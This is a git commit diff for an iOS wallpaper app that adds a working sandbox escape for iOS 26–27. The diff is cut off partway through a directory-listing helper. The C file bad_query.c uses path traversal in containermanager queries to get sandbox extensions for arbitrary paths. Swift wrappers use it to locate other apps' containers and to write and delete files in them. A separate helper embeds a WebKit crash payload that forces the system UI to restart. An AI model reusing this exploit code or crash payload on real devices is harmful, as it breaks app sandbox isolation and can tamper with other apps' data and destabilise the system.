Add bad_query support for iOS 26–27.0b4

Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard
writes, on-device container UUID detection (no PC/Nugget required),
descriptor wipe for Reset Collections, and Mond-style WebKit
respring that works under LiveContainer.

Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
This commit is contained in:
Mak5er committed 2026-08-11 05:21:59 +03:00
1 parent fb07aa4558
commit 18a67ec171
21 files changed
+1201 -80

No files matched your search

+31 -6
View File
@@ -16,9 +16,24 @@
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
/* End PBXFileReference section */
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
membershipExceptions = (
Exploit/bad_query.h,
"Exploit/Pocket-Poster-Bridging-Header.h",
"Exploit/xpc_crash.h",
);
};
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
/* Begin PBXFileSystemSynchronizedRootGroup section */
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
isa = PBXFileSystemSynchronizedRootGroup;
exceptions = (
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
);
explicitFolders = (
Resources/VideoCAML,
);
@@ -272,11 +287,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 3;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -289,10 +308,11 @@
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.2.2;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -304,11 +324,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 3;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -321,10 +345,11 @@
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.2.2;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -0,0 +1,21 @@
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"filename" : "Mak5er@2x.png",
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

@@ -134,14 +134,33 @@ class CarPlayManager {
}
}
// symlink and apply
let _ = try SymHandler.createAppSymlink(for: "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images")
defer {
SymHandler.cleanup()
}
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
if SymHandler.prefersBadQuery {
let destPath = BadQuery.carPlayCachePath(appHash: appHash)
do {
try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
// remove local staging copies after successful write
for imgURL in toRemove {
try? FileManager.default.removeItem(at: imgURL)
}
} catch {
print("bad_query CarPlay failed, falling back to symlink: \(error)")
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
} else {
// legacy symlink + trashItem
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
try Data(count: 0).write(to: test)
@@ -30,12 +30,16 @@ class PosterBoardManager: ObservableObject {
}
func setSystemLanguage(to new_lang: String) -> Bool {
// Load Preferences private frameworks if needed
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
var langManager: NSObject = NSObject()
if #available(iOS 18.0, *) {
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
langManager = obj
} else {
// TODO: Need to find the correct class for this on iOS 17
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
langManager = obj
}
@@ -47,6 +51,63 @@ class PosterBoardManager: ObservableObject {
return false
}
/// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
/// Falls back to language-toggle trick on older exploit path.
func resetCollections(appHash: String) throws {
if SymHandler.prefersBadQuery {
try wipeDescriptorsViaBadQuery(appHash: appHash)
return
}
// Legacy: language toggle forces PosterBoard to rebuild collections
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
throw ApplyError.unexpected(info: "Could not read system language for reset.")
}
guard setSystemLanguage(to: lang) else {
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
}
}
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
private func wipeDescriptorsViaBadQuery(appHash: String) throws {
let ver = SymHandler.getExtensionVersion()
let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
// Open parent with sandbox extension
let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
defer { rootHandle.release() }
let fm = FileManager.default
guard fm.fileExists(atPath: extensionsRoot) else {
// Nothing to wipe — treat as success (collections already empty / never set up)
return
}
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
var wiped = 0
for extName in extDirs {
let descriptorsPath = (extensionsRoot as NSString)
.appendingPathComponent(extName)
.appending("/descriptors")
// Ensure we hold an extension on the descriptors dir itself
let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
defer { descHandle?.release() }
guard fm.fileExists(atPath: descriptorsPath) else { continue }
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
for item in items {
if item == "__MACOSX" || item.hasPrefix(".") { continue }
let full = (descriptorsPath as NSString).appendingPathComponent(item)
try? fm.removeItem(atPath: full)
wiped += 1
}
}
print("resetCollections: wiped \(wiped) descriptor item(s)")
}
func openPosterBoard() -> Bool {
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
@@ -70,7 +131,6 @@ class PosterBoardManager: ObservableObject {
if !FileManager.default.fileExists(atPath: path.path()) {
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
}
let url = path.appending(path: fileName)
// Remove All files in this directory
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
@@ -78,17 +138,17 @@ class PosterBoardManager: ObservableObject {
{
try FileManager.default.removeItem(at: fileUrl)
}
let url = path.appending(path: normalizedFileName)
let zipURL = path.appending(path: normalizedFileName)
// Save our Zip file
try fileData.write(to: url, options: [.atomic])
try fileData.write(to: zipURL, options: [.atomic])
// Unzip the Zipped Up File
var destinationURL = path
if FileManager.default.fileExists(atPath: url.path())
if FileManager.default.fileExists(atPath: zipURL.path())
{
destinationURL.append(path: "directory")
try fileManager.unzipItem(at: url, to: destinationURL)
try fileManager.unzipItem(at: zipURL, to: destinationURL)
}
return destinationURL
@@ -213,19 +273,33 @@ class PosterBoardManager: ObservableObject {
SymHandler.cleanup()
}
let useBadQuery = SymHandler.prefersBadQuery
if useBadQuery {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
}
for (ext, descriptorsList) in extList {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
var foldersToWrite: [URL] = []
for descriptors in descriptorsList {
// create the folder
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if descr.lastPathComponent != "__MACOSX" {
try randomizeWallpaperId(url: descr)
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.moveItem(at: descr, to: newURL)
foldersToWrite.append(descr)
}
}
}
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
}
if useBadQuery {
// iOS 26/27: direct write via container_query sandbox extension
do {
try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
} catch {
// Fall back to legacy .Trash symlink if bad_query path fails
print("bad_query apply failed, falling back to symlink: \(error)")
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
} else {
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
SymHandler.cleanup()
}
@@ -238,6 +312,16 @@ class PosterBoardManager: ObservableObject {
}
}
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
for descr in folders {
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.copyItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
}
}
static func clearCache() throws {
SymHandler.cleanup()
let docDir = SymHandler.getDocumentsDirectory()
@@ -0,0 +1,124 @@
//
// RespringHelper.swift
// Pocket Poster
//
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
//
import Foundation
import UIKit
import WebKit
import ObjectiveC
enum RespringHelper {
/// Keep the respring window alive until the process dies.
private static var stickyWindow: UIWindow?
private static var stickyWebView: WKWebView?
/// Direct crash payload (inner document from Mond — no outer iframe delay).
/// Credit: @neonmodder123 / Mond
private static let crashHTML = """
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
(function(){
var c=document.createElement('div');
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
document.body.appendChild(c);
for(var i=0;i<500;i++){
var d=document.createElement('div');
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
c.appendChild(d);
}
setInterval(function(){
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
},0);
})();
</script></body></html>
"""
/// Instant full respring (Mond path). Safe under LiveContainer.
static func respring() {
#if targetEnvironment(simulator)
print("respring skipped on simulator")
return
#else
// Must be main thread for UIWindow / WKWebView
if !Thread.isMainThread {
DispatchQueue.main.async { fireNow() }
return
}
fireNow()
#endif
}
static func respringNow() { respring() }
private static func fireNow() {
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
// 1) Kill any alerts instantly so nothing blocks rendering
currentUIAlertController?.dismiss(animated: false)
currentUIAlertController = nil
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
let config = WKWebViewConfiguration()
config.websiteDataStore = .nonPersistent()
let prefs = WKWebpagePreferences()
prefs.allowsContentJavaScript = true
config.defaultWebpagePreferences = prefs
// Shared process pool warms slightly faster on repeat
config.processPool = WKProcessPool()
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
webView.isOpaque = false
webView.backgroundColor = .black
webView.scrollView.isScrollEnabled = false
webView.scrollView.backgroundColor = .black
// Load payload immediately — don't wait for layout/appear
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
stickyWebView = webView
// 3) Slap it on a top-level window (no present animation, no host VC)
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
let window: UIWindow
if let scene {
window = UIWindow(windowScene: scene)
window.frame = scene.coordinateSpace.bounds
} else {
window = UIWindow(frame: UIScreen.main.bounds)
}
window.windowLevel = .alert + 100
window.backgroundColor = .black
window.isHidden = false
let host = UIViewController()
host.view.backgroundColor = .black
host.view.addSubview(webView)
webView.frame = host.view.bounds
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
window.rootViewController = host
window.makeKeyAndVisible()
stickyWindow = window
// Force a layout pass so WebKit starts compositing now
window.layoutIfNeeded()
webView.setNeedsLayout()
webView.layoutIfNeeded()
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
webView.loadHTMLString(crashHTML, baseURL: nil)
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|| Bundle.main.bundlePath.contains("LiveContainer")
if !inLC {
restartFrontboard()
restartBackboard()
}
}
}
+47 -1
View File
@@ -34,7 +34,12 @@ class SymHandler {
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
}
// MARK: Symlink Creation
/// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
static var prefersBadQuery: Bool {
BadQuery.isAvailable
}
// MARK: Symlink Creation (legacy exploit for older iOS)
static func createSymlink(to path: String) throws -> URL {
// returns the url of the symlink
let symURL = getSymlinkURL()
@@ -64,6 +69,47 @@ class SymHandler {
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
}
// MARK: Direct write via bad_query
/// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
print("bad_query writing to \(destPath)")
// Ensure descriptors directory exists (open parent chain if needed)
try BadQuery.ensureDirectory(at: destPath)
let handle = try BadQuery.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for descr in descriptorFolders {
guard descr.lastPathComponent != "__MACOSX" else { continue }
let destName = UUID().uuidString
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: descr, to: destURL)
}
}
/// Copy files into an absolute directory under an app container via bad_query.
static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
try BadQuery.ensureDirectory(at: destPath)
let handle = try BadQuery.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for file in files {
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: file, to: destURL)
}
}
static func cleanup() {
// remove the symlink if it exists
let symURL = getSymlinkURL()
+282
View File
@@ -0,0 +1,282 @@
//
// BadQuery.swift
// Pocket Poster
//
// Swift wrapper around forcequitOS/bad_query sandbox escape
// (container_query path traversal via MobileGestalt SystemGroup).
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
//
import Foundation
enum BadQueryError: LocalizedError {
case invalidPath
case missingPath
case resolveFailed
case createFailed
case outsideSandbox
case kernelRejected
case asprintfFailed
case unknown(Int64)
case listFailed
case containerNotFound(String)
var errorDescription: String? {
switch self {
case .invalidPath:
return "Path must be absolute."
case .missingPath:
return "Target path does not exist."
case .resolveFailed:
return "Failed to resolve containermanager symbols."
case .createFailed:
return "Failed to create container query."
case .outsideSandbox:
return "Path is outside containermanager sandbox."
case .kernelRejected:
return "Kernel refused to issue a sandbox extension."
case .asprintfFailed:
return "Failed to build path traversal string."
case .unknown(let code):
return "bad_query failed with code \(code)."
case .listFailed:
return "Failed to enumerate containers (fsgetpath)."
case .containerNotFound(let bundleId):
return "Could not find container for \(bundleId)."
}
}
static func from(code: Int64) -> BadQueryError {
switch code {
case -255: return .invalidPath
case -254: return .missingPath
case -1: return .resolveFailed
case -2: return .createFailed
case -3: return .outsideSandbox
case -4: return .kernelRejected
case -5: return .asprintfFailed
default: return .unknown(code)
}
}
}
/// RAII-style sandbox extension handle.
final class BadQueryHandle {
private(set) var handle: Int64
let path: String
init(handle: Int64, path: String) {
self.handle = handle
self.path = path
}
deinit {
release()
}
func release() {
guard handle >= 0 else { return }
bad_query_release(handle)
handle = -1
}
}
enum BadQuery {
/// PosterBoard / related bundle identifiers.
static let posterBoardBundleId = "com.apple.PosterBoard"
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
// MARK: - Availability
/// True when the MobileGestalt system-group query route resolves symbols.
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
static var isAvailable: Bool {
// Probe with a path that should always exist on device; create=true skips lstat
// so we only fail if symbols/query plumbing is broken (patched OS).
let probe = "/var/mobile"
var cPath = probe.utf8CString.map { Int8($0) }
let result = bad_query(&cPath, true, nil, false)
if result >= 0 {
bad_query_release(result)
return true
}
// -3/-4 mean query ran but path/token failed; symbols still work
if result == -3 || result == -4 || result == -254 {
return true
}
// -1/-2 = symbols/query broken
return result != -1 && result != -2
}
// MARK: - Consume / Release
/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
/// - isGroup: iOS 26 App Group flag route
@discardableResult
static func consume(
path: String,
create: Bool = false,
groupIdentifier: String? = nil,
isGroup: Bool = false
) throws -> BadQueryHandle {
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
var cPath = path.utf8CString.map { Int8($0) }
let handle: Int64
if let group = groupIdentifier {
var cGroup = group.utf8CString.map { Int8($0) }
handle = bad_query(&cPath, create, &cGroup, isGroup)
} else {
handle = bad_query(&cPath, create, nil, isGroup)
}
guard handle >= 0 else {
// Retry with create=true if existence check failed under sandbox
if !create && handle == -254 {
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
}
throw BadQueryError.from(code: handle)
}
return BadQueryHandle(handle: handle, path: path)
}
// MARK: - Listing
/// Enumerate immediate children under `path` via fsgetpath inode scan.
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
var cPath = path.utf8CString.map { Int8($0) }
guard let raw = bad_query_list(&cPath, maxInode) else {
throw BadQueryError.listFailed
}
defer { free(raw) }
let str = String(cString: raw)
return str
.split(whereSeparator: \.isNewline)
.map(String.init)
.filter { !$0.isEmpty }
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
guard let token = try? consume(path: metaPath, create: true) else { return nil }
defer { token.release() }
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
// Some layouts use a non-hidden name
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
if let altToken = try? consume(path: alt, create: true) {
defer { altToken.release() }
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
return d["MCMMetadataIdentifier"] as? String
}
}
return nil
}
return dict["MCMMetadataIdentifier"] as? String
}
/// Find application container UUID for a bundle identifier (on-device, no PC).
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
let roots = searchRoots ?? [
"/var/mobile/Containers/Data/Application",
"/var/mobile/Containers/Data/InternalDaemon",
"/var/mobile/Containers/Data/PluginKitPlugin"
]
for root in roots {
let children: [String]
do {
children = try list(path: root)
} catch {
continue
}
for child in children {
let uuid = (child as NSString).lastPathComponent
// Normalize to the root we know
let containerPath = "\(root)/\(uuid)"
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
return uuid
}
}
}
throw BadQueryError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
static func applicationContainerPath(appHash: String) -> String {
"/var/mobile/Containers/Data/Application/\(appHash)"
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let ver = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File ops under extension
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
let destName = name ?? source.lastPathComponent
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
let fm = FileManager.default
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: source, to: destURL)
}
/// Ensure a directory exists at path while holding a parent extension if needed.
static func ensureDirectory(at path: String) throws {
let fm = FileManager.default
if fm.fileExists(atPath: path) { return }
// Walk up to find an existing ancestor we can open, then create intermediates
let components = path.split(separator: "/").map(String.init)
var built = ""
var lastExisting = ""
for part in components {
built += "/" + part
if fm.fileExists(atPath: built) {
lastExisting = built
}
}
if lastExisting.isEmpty {
// Get extension on the full path with create=true and mkdir
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: lastExisting, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
}
}
@@ -0,0 +1,9 @@
//
// Pocket-Poster-Bridging-Header.h
// Pocket Poster
//
// Exposes C exploit helpers to Swift.
//
#import "bad_query.h"
#import "xpc_crash.h"
+183
View File
@@ -0,0 +1,183 @@
//
// bad_query.c
// bad_query
//
// Created by Taj C on 7/21/26.
//
#include "bad_query.h"
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <xpc/xpc.h>
#include <sys/mount.h>
#include <sys/fsgetpath.h>
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
// Sanity check our path and check if something already exists there
if (!path || path[0] != '/') return -255; // Not an absolute path
if (!create) {
struct stat st;
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
}
// Now the fun begins
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -1; // Failed to dlopen
// Resolve functions
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
int64_t handle = -1;
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -1; // Failed to resolve a function
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -2; // Failed to create query
}
// Set up query
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
xpc_object_t identifier;
if (group_identifier == NULL) {
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
} else {
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
identifier = xpc_string_create(group_identifier);
}
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
char *part = NULL;
// Oldest trick in the book. Basic path traversal.
if (group_identifier == NULL) {
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // asprintf failed for some reason
}
} else {
// We have to go one level higher to get to / from an App Group
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // Same thing
}
}
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
if (is_group) {
query_set_flags(query, 0x0000000800000000ULL);
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -3; // Outside of sandbox
}
char *token = copy_sandbox_token(result);
if (!token) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -4; // Kernel refused to issue a sandbox extension
}
// Consume our fresh sandbox extension and clean up
handle = consume_extension(token);
free(token);
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return handle;
}
void bad_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
// This still works on 27.0b5
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
char *bad_query_list(char *path, int64_t max_inode) {
struct statfs sfs;
// Prefer the target path; fall back to known on-volume roots if sandboxed
if (statfs(path, &sfs) != 0) {
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
return NULL;
}
}
fsid_t fsid = sfs.f_fsid;
size_t cap = 65536;
size_t length = 0;
size_t path_length = strlen(path);
char *out = malloc(cap);
